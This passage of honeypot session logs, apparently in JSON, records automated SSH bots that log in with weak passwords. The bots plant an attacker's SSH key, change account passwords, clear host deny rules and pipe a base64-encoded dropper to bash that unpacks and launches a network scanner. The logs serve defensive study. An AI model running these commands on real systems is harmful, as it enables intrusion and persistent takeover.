-a"},{"seq":26,"at":"2026-08-22T05:05:38.419299+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T05:05:39.281423+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T05:05:39.282040+00:00","kind":"output","latency_ms":null,"data":"sagar"},{"seq":29,"at":"2026-08-22T05:05:40.144317+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T05:05:40.860426+00:00","kind":"output","latency_ms":715,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-22T05:05:41.722757+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T05:05:42.181276+00:00","kind":"output","latency_ms":457,"data":"24G"},{"seq":33,"at":"2026-08-22T05:05:44.966641+00:00","kind":"input","latency_ms":null,"data":"echo \"sagar sagar\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T05:05:45.830341+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T05:05:46.260256+00:00","kind":"output","latency_ms":430,"data":""},{"seq":36,"at":"2026-08-22T05:05:48.915515+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T05:05:49.343026+00:00","kind":"output","latency_ms":426,"data":"-bash: cat: command not found"},{"seq":38,"at":"2026-08-22T05:05:50.202755+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T05:05:50.676373+00:00","kind":"output","latency_ms":472,"data":"-bash: cat: command not found"},{"seq":40,"at":"2026-08-22T05:05:51.535849+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T05:05:52.402221+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T05:05:53.190389+00:00","kind":"output","latency_ms":785,"data":"-bash: cat: command not found"},{"seq":43,"at":"2026-08-22T05:05:54.050544+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T05:05:54.487300+00:00","kind":"output","latency_ms":433,"data":"-bash: cat: command not found"},{"seq":45,"at":"2026-08-22T05:05:55.343749+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T05:06:04.374115+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-22T05:06:04.374926+00:00","kind":"output","latency_ms":null,"data":"sagar"}],"credentials":[{"username":"sagar","password":"sagar","method":"password","accepted":true,"tier":"other"}]} {"id":"a0b73d99-0f20-4e51-aa7c-a0a50f254683","name":"early-civil-opossum","protocol":"ssh","channel_kind":"exec","src_ip":"181.164.12.188","src_port":47690,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":620,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T01:48:04.820032+00:00","ended_at":"2026-08-22T01:48:05.007288+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3555,"events":[{"seq":1,"at":"2026-08-22T01:47:28.005867+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T01:47:28.632543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T01:47:34.155583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T01:47:34.156868+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T01:47:34.776185+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1hLYUw2YnM7v\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T01:47:35.250855+00:00","kind":"output","latency_ms":473,"data":""},{"seq":7,"at":"2026-08-22T01:47:35.394086+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T01:47:36.010131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T01:47:36.010617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-22T01:47:36.625814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-22T01:47:37.377826+00:00","kind":"output","latency_ms":751,"data":"15888 5341 10547 401 0 10047"},{"seq":12,"at":"2026-08-22T01:47:37.981529+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T01:47:38.475608+00:00","kind":"output","latency_ms":493,"data":"-rwxr-xr-x 1 root root 142K Apr 7 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T01:47:39.104060+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T01:47:39.104556+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T01:47:39.723856+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T01:47:39.724150+00:00","kind":"output","latency_ms":null,"data":" 01:47:39 up 1 day, 22:37, 0 user, load average: 0.21, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T01:47:40.348359+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T01:47:40.348809+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T01:47:40.961827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T01:47:40.962319+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T01:47:41.584176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T01:47:41.584584+00:00","kind":"output","latency_ms":null,"data":"top - 01:47:41 up 1 day, 22:37, 0 user, load average: 0.21, 0.2, 0.23\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T01:47:42.214714+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T01:47:42.215559+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T01:47:42.828887+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T01:47:42.829505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T01:47:43.434299+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T01:47:43.434847+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T01:47:44.055790+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T01:47:44.736845+00:00","kind":"output","latency_ms":679,"data":"Model name: AMD EPYC 7713 64-Core Processor\nArchitecture: x86_64"},{"seq":32,"at":"2026-08-22T01:47:45.363867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T01:47:45.908250+00:00","kind":"output","latency_ms":543,"data":"24.0G"},{"seq":34,"at":"2026-08-22T01:47:47.789965+00:00","kind":"input","latency_ms":null,"data":"echo \"root Administrator_123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T01:47:48.413457+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T01:47:48.887116+00:00","kind":"output","latency_ms":473,"data":""},{"seq":37,"at":"2026-08-22T01:47:50.602838+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T01:47:51.050731+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-22T01:47:51.661873+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T01:47:52.449615+00:00","kind":"output","latency_ms":787,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-22T01:47:53.067938+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T01:47:53.681957+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T01:47:54.202105+00:00","kind":"output","latency_ms":519,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-22T01:47:54.824959+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T01:47:55.272931+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-22T01:47:55.897355+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T01:48:04.821274+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-22T01:48:04.821964+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Administrator_123","method":"password","accepted":true,"tier":"other"}]} {"id":"f567bc26-6240-465f-9ae0-dff2f938b90b","name":"creaky-painted-plover","protocol":"ssh","channel_kind":"exec","src_ip":"45.114.125.22","src_port":59710,"username":"server","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":736,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T01:33:33.265881+00:00","ended_at":"2026-08-22T01:33:33.493883+00:00","ended_reason":"exec complete","commands":26,"transcript_bytes":3274,"events":[{"seq":1,"at":"2026-08-22T01:32:31.254342+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T01:32:31.991092+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T01:32:38.909647+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T01:32:38.910254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T01:32:39.647423+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd@123\\nAnNP6gSp1uBA\\nAnNP6gSp1uBA\"|passwd|bash"},{"seq":6,"at":"2026-08-22T01:32:40.380230+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd@123\\nAnNP6gSp1uBA\\nAnNP6gSp1uBA\\n\"|passwd"},{"seq":7,"at":"2026-08-22T01:32:41.116358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T01:32:41.116823+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T01:32:41.853229+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T01:32:42.441275+00:00","kind":"output","latency_ms":587,"data":"15888 0 0 0 0 0"},{"seq":11,"at":"2026-08-22T01:32:43.180560+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T01:32:43.727513+00:00","kind":"output","latency_ms":548,"data":"-rwxr-xr-x 1 root root 133K Jan 24 2024 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T01:32:44.464038+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T01:32:44.464343+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T01:32:45.200575+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T01:32:45.200913+00:00","kind":"output","latency_ms":null,"data":" 01:32:45 up 1 day, 22:22, 0 user, load average: 0.03, 0.04, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T01:32:45.938023+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T01:32:45.938900+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T01:32:46.676855+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T01:32:46.677677+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T01:32:47.412892+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T01:32:47.413645+00:00","kind":"output","latency_ms":null,"data":"top - 01:32:47 up 1 day, 22:22, 0 user, load average: 0.03, 0.04, 0.02\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T01:32:48.150946+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T01:32:48.151599+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T01:32:48.891116+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T01:32:48.891738+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T01:32:49.626017+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T01:32:49.626645+00:00","kind":"output","latency_ms":null,"data":"server"},{"seq":29,"at":"2026-08-22T01:32:50.362970+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T01:32:51.096271+00:00","kind":"output","latency_ms":733,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModels: 1"},{"seq":31,"at":"2026-08-22T01:32:52.311341+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T01:32:52.751634+00:00","kind":"output","latency_ms":439,"data":"24G"},{"seq":33,"at":"2026-08-22T01:32:55.524212+00:00","kind":"input","latency_ms":null,"data":"echo \"server P@ssw0rd@123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T01:32:56.257824+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T01:32:56.761023+00:00","kind":"output","latency_ms":502,"data":""},{"seq":36,"at":"2026-08-22T01:32:58.886889+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T01:32:59.369045+00:00","kind":"output","latency_ms":482,"data":"-cache-1a9f2b3c\n"},{"seq":38,"at":"2026-08-22T01:33:00.106475+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T01:33:00.597523+00:00","kind":"output","latency_ms":491,"data":"-cache-1a9f2b3c"},{"seq":40,"at":"2026-08-22T01:33:01.334405+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T01:33:02.069174+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T01:33:02.534580+00:00","kind":"output","latency_ms":464,"data":"-cache-1a9f2b3c"},{"seq":43,"at":"2026-08-22T01:33:03.271265+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T01:33:03.708590+00:00","kind":"output","latency_ms":435,"data":"-cache-1a9f2b3c"},{"seq":45,"at":"2026-08-22T01:33:33.268609+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T01:33:33.802277+00:00","kind":"output","latency_ms":537,"data":""}],"credentials":[{"username":"server","password":"P@ssw0rd@123","method":"password","accepted":true,"tier":"other"}]} {"id":"1717ccb8-2a3e-4918-a53f-737276bbee20","name":"lunar-indigo-jay","protocol":"ssh","channel_kind":"exec","src_ip":"136.248.121.226","src_port":51178,"username":"vpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":376,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T00:31:10.803275+00:00","ended_at":"2026-08-22T00:31:10.912877+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3385,"events":[{"seq":1,"at":"2026-08-22T00:30:40.531570+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T00:30:40.900665+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T00:30:46.187956+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T00:30:46.188671+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T00:30:46.564551+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\n8W4gA8I6wQBU\\n8W4gA8I6wQBU\"|passwd|bash"},{"seq":6,"at":"2026-08-22T00:30:46.937993+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\n8W4gA8I6wQBU\\n8W4gA8I6wQBU\\n\"|passwd"},{"seq":7,"at":"2026-08-22T00:30:47.312969+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T00:30:47.314256+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T00:30:47.691929+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T00:30:48.420543+00:00","kind":"output","latency_ms":728,"data":"15888 812 11888 0 2456 0"},{"seq":11,"at":"2026-08-22T00:30:48.797270+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T00:30:49.792838+00:00","kind":"output","latency_ms":993,"data":"-rwxr-xr-x 1 root root 148K Feb 14 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T00:30:50.168751+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T00:30:50.169406+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T00:30:50.544920+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T00:30:50.545582+00:00","kind":"output","latency_ms":null,"data":" 00:30:50 up 1 day, 21:20, 0 user, load average: 0.09, 0.07, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T00:30:50.921052+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T00:30:50.922271+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T00:30:51.298283+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T00:30:51.299580+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T00:30:51.673969+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T00:30:51.674555+00:00","kind":"output","latency_ms":null,"data":"top - 00:30:51 up 1 day, 21:20, 0 user, load average: 0.09, 0.07, 0.09\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 